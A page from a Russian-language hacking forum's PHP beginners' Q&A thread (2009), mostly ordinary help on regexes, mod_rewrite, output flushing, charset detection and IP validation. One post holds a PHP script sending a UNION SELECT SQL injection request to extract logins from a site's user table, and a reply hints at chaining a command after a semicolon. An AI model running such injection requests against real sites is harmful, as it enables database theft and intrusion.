PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [49] 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

preda1or
27.08.2009, 12:27
if(eregi("^([а-яА-Яa-zA-Z0-9\s]{3,32})$",$name)){

}
Пропускает значения состоящие либо ТОЛЬКО из цифр, либо ТОЛЬКО из букв. Нужно чтобы $name могло содержать только: а-я,А-Я,a-z,A-Z,0-9 и пробел. Что не так? :confused: Час сижу уже как идиот.

НЕАКТУАЛЬНО
действительно идиот. ^([а-яА-Яa-zA-Z0-9 ]{3,32})$

Gifts
27.08.2009, 12:53
preda1or Боюсь расстроить, но лучше не пользоваться ereg, 1 - не безопасно, 2 - начиная с ПХП 5.3.0 - вызывает ошибку, а с 6.0.0 - удалена функция в принципе
Tymblep Через точку с запятой дописать в конец исходной команды - свою

geforse
27.08.2009, 18:18
Можно ли как-то имя GET запроса к скрипту сделать пустым ?

То есть мне нужно: site.ru/344224
Сейчас у меня так: site.ru/?d=344224

Возможно ли убрать ?d= из URL ?

Gifts
27.08.2009, 18:40
geforse В файл .htaccess прописать:
RewriteEngine On
RewriteRule ^(\d+)$ /?d=$1

Fuckel
27.08.2009, 20:58
Можно ли как-то имя GET запроса к скрипту сделать пустым ?

То есть мне нужно: site.ru/344224
Сейчас у меня так: site.ru/?d=344224

Возможно ли убрать ?d= из URL ?
mod_rewrite
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html
http://forum.antichat.ru/threadnav92492-1-10.html

У меня такой вопрос назрел) странный немного. Несколько месяцев назад нашел скриптик который отправляет смс на определенный номер с указаным сообщениям. тоисть я его запускаю ус себя на денвере, а он дальше сам запускает скайп, сворачивает, и потом сам отправляет смс.
а теперь вопросы. Таким способом можно запустить обычную прогу?? и где по ето можно почитать? У меня в книге про ето ничего нет))) а к гуглу незнаю как обратится так как непонимаю как етот мпомоб называется и что у него спрашивать) скрипт вылаживать небуду так как я не автор)
еще удобно и функциоанально
http://ru.php.net/proc_open

Кубик Рубик
27.08.2009, 23:33
Всем привет! На повестке дня стал вопрос о том, что такое плейсхолдеры?

Linuxoid
27.08.2009, 23:33
Подскажите пожалуйста... Вот не знаю, как это делать, думаю можно даже регулярками, но не знаю как. :)
Есть строка, абсолютно любая. Надо отрезать последние Х символов этой строки и загнать их в переменную. Как?

d_x
27.08.2009, 23:37
Linuxoid,

$n=6; //сколько символов отрезать
$str=substr('твоя строка',-$n);



Кубик Рубик,
Placeholder – 1. «Заполнитель». Представляет собой текстовый или графический элемент электронного шаблона страницы, заменяемый на практике реальным элементом. 2. Структурный нуль. Прочерк по причине бессмысленности присваивания некоторого значения, предусмотренного жестким форматом.

St0nX
28.08.2009, 10:58
<?php
$fp = fsockopen ("www.xxx.ru", 80, $errno, $errstr, 30);
if (!$fp) {
} else {
fputs($fp,"GET /next.php?id=5+union+select+1,2,login%20FROM%20pb_u sers%20limit%200,1%20-- HTTP/1.1/r/nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*/r/nAccept-Language: ru/r/nAccept-Encoding: gzip, deflate/r/nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/r/nHost: www.xxx.ru/r/nConnection: Keep-Alive/r/n/r/n");
while (!feof($fp)) {
$fp2 .= fgets ($fp,128);
}
fclose ($fp);
echo $fp2;
}
?>

Запрос возвращает 400 Bad Request. Сам текст запроса со снифера. В чем может быть проблема?

Pashkela
28.08.2009, 11:13
может быть не те заголовки передаешь, сделай такой же запрос в FF + Tamper Data тебе всё расскажет

Insane bboy
28.08.2009, 11:22
у меня вопрос такого плана:
хочу реализовать удаленное создание файлов на сервере, то есть на локал хосте я запускаю скрипт, он отправляет запрос на сервер, в данном случае это название файла и его содержимое(требуется создание файлов .html .txt .php)
пробывал эту информацию передавать POST'ом, открывал файлы обычно:
$fp = fopen("qwe.txt","r");
$dat = fwrite($fp, filesize("qwe.txt"));//это довольно грубый пример, в скрипте все открывалось циклом.
отправлял, отправлялось, но скрипт который должен получить переменные $name и $dat последняя переменная доходила очень сильно измененной, так вот собственно и вопрос:
как нормально передать, метод расматриваемый выше не думаю что будет рациональным решением моей проблемы, что кто посоветует????

Pashkela
28.08.2009, 11:27
делать тоже самое по фтп и не парить мозг, создавать файлы на сервере, да к тому же включая .php, через php-скрипт-приемник просто небезопасно и чревато, а через фтп потребуется лишь локальный скрипт в пять строчек

Insane bboy
28.08.2009, 11:51
а если нет доступа к фтп???:))
и чем это чревато?о0
тем более это расматривается для разового, единичного пользования, а не для ежедневной работы с файлами

Pashkela
28.08.2009, 12:49
ну тогда можно например через fsockopen

http://ru.php.net/fsockopen


Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
// get the necessary data
$file_name = $_FILES['userfile']['name']; // the file
$tmp_name = $_FILES['userfile']['tmp_name']; // the file
$content_type = $_FILES['userfile']['type']; // the file mime type

srand((double)microtime()*1000000);
$boundary = "---------------------".substr(md5(rand(0,32000)),0,10);

// Build the header
$header = "POST $remote_url HTTP/1.0\r\n";
$header .= "Host: $remote_server\r\n";
$header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
// attach post vars
foreach($_POST AS $index => $value){
$data .="--$boundary\r\n";
$data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
$data .= "\r\n".$value."\r\n";
$data .="--$boundary\r\n";
}
// and attach the file
$data .= "--$boundary\r\n";
$content_file = join("", file($tmp_name));
$data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
$data .= "Content-Type: $content_type\r\n\r\n";
$data .= "".$content_file."\r\n";
$data .="--$boundary--\r\n";
$header .= "Content-length: " . strlen($data) . "\r\n\r\n";
// Open the connection
$fp = fsockopen($remote_server, 80);
// then just
fputs($fp, $header.$data);
fclose($fp);
?>


предварительно создав на удаленном хосте скрипт загрузки файлов на сервер через обычную форму

geforse
28.08.2009, 16:12
Как можно сделать вывод логов в реальном времени ?

Пример:

for($i = 0; $i < 10; $i++)
{
echo $i;
sleep(60);
}


Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.

Byrger
28.08.2009, 17:00
Есть куууча файлов xxxxxxx.htm (более 60к файлов)
Они раскиданы по папкам на находятся все в 1 основной
Как-то надо все переименовать с префиксом ru_xxxxx.htm

Gray_Wolf
28.08.2009, 17:16
Как можно сделать вывод логов в реальном времени ?

Пример:

for($i = 0; $i < 10; $i++)
{
echo $i;
sleep(60);
}


Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
Давно пора свыкнуться с мыслью что написать демона на ПХП невозможно...

Так-что либо пишем его на другом языке, либо юзаем крон.

crazy~driver
28.08.2009, 21:39
ПОМОГОИТЕ: хостинг блокирует функцию mail в php для халявных акков
есть ли в php еще какие-нидь функции для отсылки почты или как можно решить эту проблему?
з.ы. сменить хостинг не предлагать-)

m0Hze
28.08.2009, 22:08
ПОМОГОИТЕ: хостинг блокирует функцию mail в php для халявных акков
есть ли в php еще какие-нидь функции для отсылки почты или как можно решить эту проблему?
з.ы. сменить хостинг не предлагать-)
нет

Вася Рогов
28.08.2009, 22:38
подкиньте код, который логиница на сайте майл.ру (http://win.mail.ru/cgi-bin/auth)

RedBull@12
28.08.2009, 22:52
подкиньте код, который логиница на сайте майл.ру (http://win.mail.ru/cgi-bin/auth)
вроде тема называется "[php] Новичкам: задаем вопросы"...а не "скиньте мне код"...пиши сам, если что поможем.

b3
28.08.2009, 22:59
Елементарный курл с постом:
page=&post=&login_from=&Login=qwe&Domain=mail.ru&Password=ewwqwe


<?php
$url = 'http://win.mail.ru/cgi-bin/auth';
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';
$post = 'page=&post=&login_from=&Login=b3pinchsend&Domain=mail.ru&Password=123';

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cook.txt');
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$res = curl_exec($ch);
?>

Вася Рогов
28.08.2009, 23:08
вроде тема называется "[php] Новичкам: задаем вопросы"...а не "скиньте мне код"...пиши сам, если что поможем. на примере научусь =\

RedBull@12
28.08.2009, 23:13
на примере научусь =\
на каком примере?сиди читай маны и прочее...тут не надо спрашивать как написать код, а если есть код. то можно спросить почему не работает при определнных условиях и т.д. "новичек" не означает что нужно тупо спрашивать весь код, нужно учиться и развиваться самому. а не просить других за тебя написать.

p.s.: извиняюсь за оффтоп. и я не понимаю почему администрацией поощряются данные посты. АнтиЧат это то место где изучают какие-то мелочи, а не обычные всеми известные стандарты, которые должен знать каждый. еще раз извиняюсь за оффтоп, накипело читать хлам.

L I G A
28.08.2009, 23:26
и я не понимаю почему администрацией поощряются данные посты.
кто тебе такое сказал?
и по сабжу мб у Васи Рогова такой склад ума что на примере поймет быстрее ,чем по манам в которых в основном одна терминология.
ПС не кипешуй.

RedBull@12
28.08.2009, 23:50
кто тебе такое сказал?
и по сабжу мб у Васи Рогова такой склад ума что на примере поймет быстрее ,чем по манам в которых в основном одна терминология.
ПС не кипешуй.
да я не кипишу. просто данную тему читать противно стало. один спрашивает как отрезать часть строки и запихнуть в переменную, второй спрашивает как написать элементарный curl или socket скрипт(по выбору) тема про mail.ru особенно про данный скрипт поднималась несколько недель назад(а именно http://forum.antichat.ru/showpost.php?p=1413647&postcount=11544), где человек аналогично порпосил- ему слили, тут второй. короче нет слов...обидно...да и по сабжу, данный персонаж могбы прочитать первую статью в учебнике про curl или socket и там рассматривать примеры, их в каждом учебнике до ушей....
ладно хватит оффтопа..еще раз сорри за оффтоп...

Fuckel
29.08.2009, 00:04
Есть куууча файлов xxxxxxx.htm (более 60к файлов)
Они раскиданы по папкам на находятся все в 1 основной
Как-то надо все переименовать с префиксом ru_xxxxx.htm
например, так
скрипт кидать в основную папку
<?php
function rcrsv_path($path='./'){
chdir(dirname(__FILE__).$path);
foreach (glob("*") as $filename){
if (is_dir($filename)){
rcrsv_path($path.'/'.$filename);
chdir(dirname(__FILE__).'/'.$path);

}
if (preg_match("/^ru_(.*)\.htm$/Ui",$filename,$match)){
print_r($path.$match[0]);
}
flush();
}
}
rcrsv_path();
?>

Deathdreams
29.08.2009, 00:48
Как можно сделать вывод логов в реальном времени ?

Пример:

for($i = 0; $i < 10; $i++)
{
echo $i;
sleep(60);
}


Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.

про flush(); забыли? :)

RedBull@12
29.08.2009, 01:09
про flush(); забыли? :)
тогда уточню некоторый момент
Для тех кто будет искать этот баг (как неуспешно сделал это я), сообщаю: Если требуется real-time вывод на страницу каких-то данных, можно столкнуться с проблемой, когда php буферизирует вывод, а заетм вываливает буфер куском. В таком случае необходимо отключить output_buffering в php.ini и руками выкидывать из буфера командой flush() . НО! Возникает "подземный стук", когда буферизация явно отключена, flush() вызывается, а буфер все равно не сбрасывается. Сообщаю: по крайне мере одна из причин такого поведения — include чего нибудь в процессе. Лечится таак: либо include_once, а если же это проблематично, то после каждого вывода или includ-а необходимо написать три заветных слова: ob_flush(); ob_end_clean(); flush(). Вуаля!
(с)AdNull
+ то что это немного не кросплатформенно. примечание к функции на оф.сайте хватит.

и все же лучше построить немного другую схему, например, если это WEB то через AjAX.

Fuckel
29.08.2009, 01:12
он консоль хочет, чтобы cls был реализован

RedBull@12
29.08.2009, 01:31
он консоль хочет, чтобы cls был реализован
я конечно может чего-то не понял в цели нужного скрипта.
но реализовать cls по средствам flush() не удалось, по крайне мере под win32.
<?php
for($i = 0; $i < 5; $i++) {
echo $i;
sleep(10);
}
flush();
for($i = 0; $i < 5; $i++) {
echo $i;
sleep(10);
}
?>
результат вывода:
D:\php5.2.5>php.exe "d:\test.php"
0123401234
D:\php5.2.5>
на сколько я понимаю flush(); просто очищает свой вутренний буфер, и в случае если это web то отдает вывод, в некоторых случаях, браузеру, а так продолжает свою работу. поясните как можно использовать flush(); для реализации консольного cls?!

Deathdreams
29.08.2009, 01:48
команда flush(); была подсказкой с моей стороны, человек просто забыл про её существование.

В своём посте,как видите,я не уточнял дополнительные моменты этой проблемы.

Вы неправильно делаете. Вот пример использования:


for($i = 1; $i < 20; $i++){
echo $i."<br>";
ob_flush();
ob_end_clean();
flush();
}
echo "Done.";

RedBull@12
29.08.2009, 01:51
команда flush(); была подсказкой с моей стороны, человек просто забыл про её существование.

В своём посте,как видите,я не уточнял дополнительные моменты этой проблемы.
я стесняюсь спросить подсказкой к чему?!
объясните что вы хотели сказать функцией flush(), то что она очистит буфер?!очистка буфера и очистка экрана консоли это разные вещи...короче поясните

RedBull@12
29.08.2009, 01:56
команда flush(); была подсказкой с моей стороны, человек просто забыл про её существование.

В своём посте,как видите,я не уточнял дополнительные моменты этой проблемы.

Вы неправильно делаете. Вот пример использования:


for($i = 1; $i < 20; $i++){
echo $i."<br>";
ob_flush();
ob_end_clean();
flush();
}
echo "Done.";

объясните мне ход ваших мыслей в данном коде.
ob_flush - очищает (отправляет) буфер вывода
ob_end_clean - очищает буфер вывода и отключает буферизацию вывода.
flush - очищает буфер вывода.
что вы этим хотели показать?! и как это связано с реализацией cls, тобишь очисткой экрана?

не считая кучи предупрждений и ошибок php код выполнился...но суть..он вывел
1
2
....
19
Done.
в чем суть?!

.::BARS::.
29.08.2009, 08:15
только средствами php реализовывать это не реально... используй аякс...
или пиши код на яве....
---
пхп исполняется на сервере и поэтому не реально очистить экран... а если захочешь средством перезагрузки эерана... то выполнишь код снова...


$q = куки, если их нет то 1
for($i = $q ; $i < 20; $i++){
echo $i."<br>";
$q = $i + 1; //в нашем случае
загоняем в куки $q
рестарт страницы ...
}
echo "Done.";

примитивный пример с перезагрузкой страницы

Большой джо
29.08.2009, 15:05
Подскажите пожалста, сам уже часов 5 наверно парюсь,
есть строка, кодировка её не известна, мне надо автоматически определить кодировку и переконвертировать в windows-1251, как реализовать скрипт?)

Pashkela
29.08.2009, 15:09
<pre>
<?php
$q = 'вася пряников';
$s = mb_detect_encoding($q);//Определяем кодировку
$q = iconv($s, 'CP1251//TRANSLIT', $q);//Декодируем
echo $s . "\r\n";
echo $q . "\r\n";
?>
</pre>


Но это только для стандартных ситуаций

Большой джо
29.08.2009, 15:16
спс, ща буду пробовать

Большой джо
29.08.2009, 15:52
неа, всё равно, выскакивает � ����4�3�4�5

RedBull@12
29.08.2009, 15:56
неа, всё равно, выскакивает � ����4�3�4�5
на iconv действует нукоторое ограничение.+ не всегда mb_detect_encoding может определить кодировку.
как вариант, но тоже не 100%
http://popoff.donetsk.ua/text/work/libs/a/charset/
лично я для определния utf-8 использую вот это условие
if (preg_match('//u', $string)) { /* у вас UTF-8 */ }

b3
29.08.2009, 16:09
Функция определения кодировки:

<?php
define('LOWERCASE',3);
define('UPPERCASE',1);

function detect_cyr_charset($str) {
$charsets = Array(
'k' => 0,
'w' => 0,
'd' => 0,
'i' => 0,
'm' => 0
);
for ( $i = 0, $length = strlen($str); $i < $length; $i++ ) {
$char = ord($str[$i]);
//non-russian characters
if ($char < 128 || $char > 256) continue;

//CP866
if (($char > 159 && $char < 176) || ($char > 223 && $char < 242))
$charsets['d']+=LOWERCASE;
if (($char > 127 && $char < 160)) $charsets['d']+=UPPERCASE;

//KOI8-R
if (($char > 191 && $char < 223)) $charsets['k']+=LOWERCASE;
if (($char > 222 && $char < 256)) $charsets['k']+=UPPERCASE;

//WIN-1251
if ($char > 223 && $char < 256) $charsets['w']+=LOWERCASE;
if ($char > 191 && $char < 224) $charsets['w']+=UPPERCASE;

//MAC
if ($char > 221 && $char < 255) $charsets['m']+=LOWERCASE;
if ($char > 127 && $char < 160) $charsets['m']+=UPPERCASE;

//ISO-8859-5
if ($char > 207 && $char < 240) $charsets['i']+=LOWERCASE;
if ($char > 175 && $char < 208) $charsets['i']+=UPPERCASE;

}
arsort($charsets);
return key($charsets);
}
?>

RedBull@12
29.08.2009, 16:15
Функция определения кодировки:

<?php
define('LOWERCASE',3);
define('UPPERCASE',1);

function detect_cyr_charset($str) {
$charsets = Array(
'k' => 0,
'w' => 0,
'd' => 0,
'i' => 0,
'm' => 0
);
for ( $i = 0, $length = strlen($str); $i < $length; $i++ ) {
$char = ord($str[$i]);
//non-russian characters
if ($char < 128 || $char > 256) continue;

//CP866
if (($char > 159 && $char < 176) || ($char > 223 && $char < 242))
$charsets['d']+=LOWERCASE;
if (($char > 127 && $char < 160)) $charsets['d']+=UPPERCASE;

//KOI8-R
if (($char > 191 && $char < 223)) $charsets['k']+=LOWERCASE;
if (($char > 222 && $char < 256)) $charsets['k']+=UPPERCASE;

//WIN-1251
if ($char > 223 && $char < 256) $charsets['w']+=LOWERCASE;
if ($char > 191 && $char < 224) $charsets['w']+=UPPERCASE;

//MAC
if ($char > 221 && $char < 255) $charsets['m']+=LOWERCASE;
if ($char > 127 && $char < 160) $charsets['m']+=UPPERCASE;

//ISO-8859-5
if ($char > 207 && $char < 240) $charsets['i']+=LOWERCASE;
if ($char > 175 && $char < 208) $charsets['i']+=UPPERCASE;

}
arsort($charsets);
return key($charsets);
}
?>

данный код не верно определяет кодировку в некоторых случаях.
Текст, набранный ЗАГЛАВНЫМИ БУКВАМИ определяет как KOI-8, а не win-1251
и Текст, набранный только заглавными в ср1251 или только строчными в koi8-r попадает в один и тот же диапазон символов(191..224), так что однозначно определить кодировку попросту невозможно. И это ещё не учли unicode...
привиденная мною библиотека более корректно определяет кодировку, да и по сабжу больше походит.

Большой джо
29.08.2009, 16:26
ну с определением кодировки я разобрался, как перекодировать в windows-1251? дело в том, что я пишу icq бота с webicqlite классом, так как большинство функций про класса не требуется, данные выводятся в utf8, и я никак не могу перекодировать их в windows-1251, киньте пжлста какойнить скрипт для кодирования!

RedBull@12
29.08.2009, 16:29
ну с определением кодировки я разобрался, как перекодировать в windows-1251? дело в том, что я пишу icq бота с webicqlite классом, так как большинство функций про класса не требуется, данные выводятся в utf8, и я никак не могу перекодировать их в windows-1251, киньте пжлста какойнить скрипт для кодирования!
вы мои посты не видите?!я описал два метода...
1-http://popoff.donetsk.ua/text/work/libs/a/charset/ подключите библиотеку для конверта в cp1251
2-метод которым пользуюсь, тоже повзаимствованный, if (preg_match('//u', $string)) { /* у вас UTF-8 */ }
в чем проблема?!совместите два метода и дейлате что хотите.

Большой джо
29.08.2009, 16:32
извиняюсь, пропустил посты, всё норма работает, спс =)

Fepsis
29.08.2009, 17:03
При заходе на линк курлом куки не сохраняются CURLOPT_COOKIEJAR, в HEADER куки тоже отсутствуют, хотя когда захожу браузером на линк, они (куки) устанавливаются..
Как их можно вытащить скриптом..?! Где они могут храниться..?!

RedBull@12
29.08.2009, 17:09
При заходе на линк курлом куки не сохраняются CURLOPT_COOKIEJAR, в HEADER куки тоже отсутствуют, хотя когда захожу браузером на линк, они (куки) устанавливаются..
Как их можно вытащить скриптом..?! Где они могут храниться..?!
если в хедере нету то непраивльный запрос.
потому что в хедере должна быть строка
set-cookie: ...

Fepsis
29.08.2009, 17:12
если в хедере нету то непраивльный запрос.
потому что в хедере должна быть строка
set-cookie: ...
Так страницу то саму он выводит... set-cookie: в HEADER нету...

RedBull@12
29.08.2009, 17:18
Так страницу то саму он выводит... set-cookie: в HEADER нету...
если хедеры в выводе у тебя есть. но там нету set-cookie, значит сервер НЕ назначает куки. скорее всего сервер распознал тебя как бота.
когда говорил про запрос, имел ввиду не стандарты, а ответы от сервера, то что сервер не считает нужным отдавать куки, либо посмотри может куки назначаются по средствам JavaScript'а

VladZombie
29.08.2009, 19:38
Есть страница, там пользователь заполняет свои данные имя, фамилия, емейл и т.д. как сделать так чтобы после заполнение к нему на емейл присылалось письмо с моим текстом? все переменные выставлены и записываются в один файл ну и емейл тоже. Я с php просто не дружу вообще :(

RedBull@12
29.08.2009, 19:46
Есть страница, там пользователь заполняет свои данные имя, фамилия, емейл и т.д. как сделать так чтобы после заполнение к нему на емейл присылалось письмо с моим текстом? все переменные выставлены и записываются в один файл ну и емейл тоже. Я с php просто не дружу вообще :(
функция mail()/
http://php.su/functions/?f=+mail&choice=info
изучай

dllerk
31.08.2009, 01:46
Интересно, возможен ли взлом такой авторизации:

<?php

$a_login = "admin";
$a_pass = "killer";

if ( empty($u_pass) and empty($u_login) ) {
echo <<<here
<form method='post'>
<input type='text' name='u_login' value='Login' onfocus='this.value=""'>
<input type="password" name="u_pass" value='password' onfocus='this.value=""'>
<input type="submit">
</form>
here;
} else {
if ($u_pass == $a_pass and $u_login == $a_login) {
echo "Авторизация прошла успешно";
} else {
echo "Неверный пароль";
}
}
?>


Если да, то каким образом ??

preda1or
31.08.2009, 01:49
2 dllerk
index.php
<?php

$a_login = "admin";
$a_pass = "killer";

if ( empty($_POST['u_pass']) and empty($_POST['u_login'] ) ) {
echo <<<here
<form action='index.php' method='post'>
<input type='text' name='u_login' value='Login' onfocus='this.value=""'>
<input type="password" name="u_pass" value='password' onfocus='this.value=""'>
<input type="submit">
</form>
here;
} else {
if ($_POST['u_pass'] == $a_pass and $_POST['u_login'] == $a_login) {
echo "Авторизация прошла успешно";
} else {
echo "Неверный пароль";
}
}
?>

b3
31.08.2009, 04:21
if ($_POST['u_pass'] == $a_pass and $_POST['u_login'] == $a_login) {
Правильнее будет не == (равно) а === (идентично)

RedBull@12
31.08.2009, 04:39
Правильнее будет не == (равно) а === (идентично)
в данном коде не имеет значения, но зато если будет пароль численный....том могут возникнуть проблемы с идентичностью. в том случае если в скрипет пароль будет храниться как число, а получать из POST будет как строка. символы те же, типы разные...
имхо...не есть правильно.
по сабжу, нет. по крайне мере какой-либо подменой POST запроса ну или еще как... и для ускорения рекоменду использовать не "and",а "&&", значительный прирост скорости.

Byrger
31.08.2009, 11:53
привет
Встал вопрос как проверить переменную от пользователя в которой он передаёт ip
тоесть надо сделать проверку по маске xxx.xxx.xxx.xxx и только числа.

wildshaman
31.08.2009, 12:10
привет
Встал вопрос как проверить переменную от пользователя в которой он передаёт ip
тоесть надо сделать проверку по маске xxx.xxx.xxx.xxx и только числа.


<?php
$ip="111.111.11.11";
if (preg_match('/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/', $ip))
echo "Это айпи!!";
else
echo "Это не айпи :(";
?>

mailbrush
31.08.2009, 12:38
wildshaman, о_О, регулярка... И она не работает для всех ипов.

<?php
$ip="111.111.11.11";
if (preg_match('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#' , $ip))
echo "Это айпи!!";
else
echo "Это не айпи :(";
?>

b3
31.08.2009, 12:50
mailbrush
if (preg_match('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#' , $ip))
Клевая регулярка, мой IP 999.999.999.999 и пох что 255.255.255.255 макс

Gifts
31.08.2009, 13:00
Byrger Регулярки - в соседней теме, а тут:if ($ip === long2ip(ip2long($ip)))
echo "Это айпи!!";
else
echo "Это не айпи :(";

FriLL
31.08.2009, 13:20
if ($ip === long2ip(ip2long($ip)))
echo "Это айпи!!";
else
echo "Это не айпи :(";
мутный код какойто, так не проверяют

L I G A
31.08.2009, 13:29
if ($ip === long2ip(ip2long($ip)))
echo "Это айпи!!";
else
echo "Это не айпи :(";
мутный код какойто, так не проверяют
зачем писать велосипед ,если есть готовые встроенные функции.
Функция long2ip() генерирует Internet-адрес в формате с точкой (т.е.: aaa.bbb.ccc.ddd) из соответствующего представления адреса.

Gifts
31.08.2009, 13:58
FriLL Яхз, как вы там проверяете, но это пример номер 3 отсюда http://ru.php.net/manual/en/function.ip2long.php
Быстро и просто

Byrger
31.08.2009, 14:07
Ок,спасиб
А теперь встал вопрос который мучал меня долго...

Как можно реализовать в PHP лицензирование скрипта
Тоесть в конфиг вводишь ключ и скрипт работает.

Дак вот вопрос в том, как реализовать защиту от обнуления скрипта от этой проверки?
Пока в голову приходит закрытие исходного кода, но тут опятже вопрос, чем?

Gifts
31.08.2009, 14:19
Byrger пхп - ничем не закроешь. Можно попробовать IonCube - но и его ломают

Byrger
31.08.2009, 14:51
Вот я думаю если даже написать кодировщик то его код же останется открытым а значит можно всё декодировать : (

Может есть всётаки что-то?

geforse
31.08.2009, 15:24
Регистрирую cURL'ом хостинг
После прохождения регистрации появляется ошибка:


Posting Error #348485, please ensure your browser sends referer infromation (Norton Internet Security, and other products can block sending referers.
Please check this url for instructions as to howto enable sending referrers http://byet.org/referrers.php

curl_setopt($ch, CURLOPT_REFERER, $refer);

Refer передаю нужный (подсмотрел его снифером), всегда всё работало а тут не выходит :(

Кто что думает ?

wildshaman
31.08.2009, 17:49
2geForse - может, надо еще userAgent подставлять?

Byrger
31.08.2009, 21:24
А как кроме $_SERVER['HTTP_HOST'] можно узнать на каком домене стоит скрипт?
Чтоб это было безопасно для скрипта, чтоб 100% валидный был домен.

RedBull@12
31.08.2009, 21:25
А как кроме $_SERVER['HTTP_HOST'] можно узнать на каком домене стоит скрипт?
Чтоб это было безопасно для скрипта, чтоб 100% валидный был домен.
обязательно домен?
или абсолютный путь достаточно?
$_SERVER['DOCUMENT_ROOT']
...ну как вариант еще можно $_SERVER['SERVER_NAME'] ...ну или выдрать вот отсюда $_SERVER['REQUEST_URI']

Byrger
31.08.2009, 21:48
обязательно домен?
или абсолютный путь достаточно?
$_SERVER['DOCUMENT_ROOT']
...ну как вариант еще можно $_SERVER['SERVER_NAME'] ...ну или выдрать вот отсюда $_SERVER['REQUEST_URI']
Думаешь $_SERVER['REQUEST_URI'] настолько безопасна?

RedBull@12
31.08.2009, 22:20
Думаешь $_SERVER['REQUEST_URI'] настолько безопасна?
сорри перепутал...имелл ввиду $_SERVER['PHP_SELF']...

Gifts
31.08.2009, 23:40
RedBull@12 $_SERVER['PHP_SELF']='tratatatatat';
echo $_SERVER['PHP_SELF'];

FireFenix
01.09.2009, 00:13
Нормальные люди используют задание таких вещей в конфиге..... или на крайняк используют PHP_SELF для автоконфига или для вывода на экран

RedBull@12
01.09.2009, 01:39
RedBull@12 $_SERVER['PHP_SELF']='tratatatatat';
echo $_SERVER['PHP_SELF'];

$_SERVER["REMOTE_ADDR"]="тут_нет_ip";
echo $_SERVER["REMOTE_ADDR"];

я думаю суть понятна моего ответа.

Myload
01.09.2009, 16:52
у кого есть скрипт чтоб мог отключать сайт через админку а
на главной на писано сайт в разработке!

RedBull@12
01.09.2009, 16:55
у кого есть скрипт чтоб мог отключать сайт через админку а
на главной на писано сайт в разработке!
это 3 строки кода...пиши, усли не получится подскажем...

mailbrush
01.09.2009, 17:00
<?php
if(isset($_GET['turnoff']))
{
file_put_contents('index.php.bak',file_get_content s('index.php'));
file_put_contents('index.php','Сайт в разработке');
}

if(isset($_GET['turnon']))
{
file_put_contents('index.php',file_get_contents('i ndex.php.bak'));
unlink('index.php.bak');
}
?>
Самый простейший.
Писал прямо здесь :)

RedBull@12, лучше бы помог человеку, чем указал сколько строк в коде.

RedBull@12
01.09.2009, 17:28
RedBull@12, лучше бы помог человеку, чем указал сколько строк в коде.
2mailbrush, я уже отписывался на данную тему,"В этой специальной теме новички могут задавать простые вопросы по языку PHP."(с)_Great_
почему люди НЕ хотят ничего сами делать?
в прилепленной теме https://forum.antichat.ru/thread135357.html четко описано в 5 пункте СУТЬ! данного форума.
и хотелось бы чтобы люди задающи подобные вопросы, не поощрялись постами от пользователей с довольно высокой репой....имхо

mailbrush
01.09.2009, 17:42
Ну да, ты прав :) Просто мне было нечего делать, вот и написал скрипт :) Кстати, репа - не показатель...

zerg
01.09.2009, 17:49
как можно установить куки для другого хоста

пример:

setcookie("blabla", $cookie, time() + 10000, "/", "google.com");


так не получается, можно ли какнить по другому???

FireFenix
01.09.2009, 17:51
как можно установить куки для другого хоста

пример:

setcookie("blabla", $cookie, time() + 10000, "/", "google.com");


так не получается, можно ли какнить по другому???
никак, тебе не позволит браузер

RedBull@12
01.09.2009, 18:59
созрел вопрос по мере написания кода.
пишу классы. есть некий базовый на основе которого все классы и лепятся. Вопрос собственно тупой.
есть глобальные переменные из отдельного файла инклюдятся, собственно конфиг.
переменные представляют из себя некий большой массив $__VARS с ключами(массивами).
что-то типа этого:
$__VARS["BD"]["hostname"] = "localhost";
$__VARS["BD"]["encoding_db"] = "SET NAMES utf8";
$__VARS["BD"]["max_lenght_keyword"] = "10";
$__VARS["BD"]["error_number"] = "1";
Как их внести в базовый класс, с правилом public?!
чтобы людой класс мог к ним обратить, который имеет этот базовый класс.
кроме вот такого извращения мозгов больше ни на что не хватило:

public $ClassVars;
public function ident($vars) {
foreach ($vars as $name => $var) {
foreach ($var as $key => $value) {
if (count($value) > 1) {
foreach ($value as $k => $v) {
eval("\$this->ClassVars['".$name."']['".$key."']['".$k."'] = \"".$v."\";");
}
}
else { eval("\$this->ClassVars['".$name."']['".$key."'] = \"".$value."\";");
}
}
}
}
но каждый раз приходится после создания экземпляра выполнять данную функцию с параметром.
т.е. нужно нечто аналогичное global

FireFenix
01.09.2009, 19:31
<?php

$config['bd']['host'] = '127.0.0.1';
$config['bd']['pass'] = 'pass';
$config['bd']['login'] = 'login';

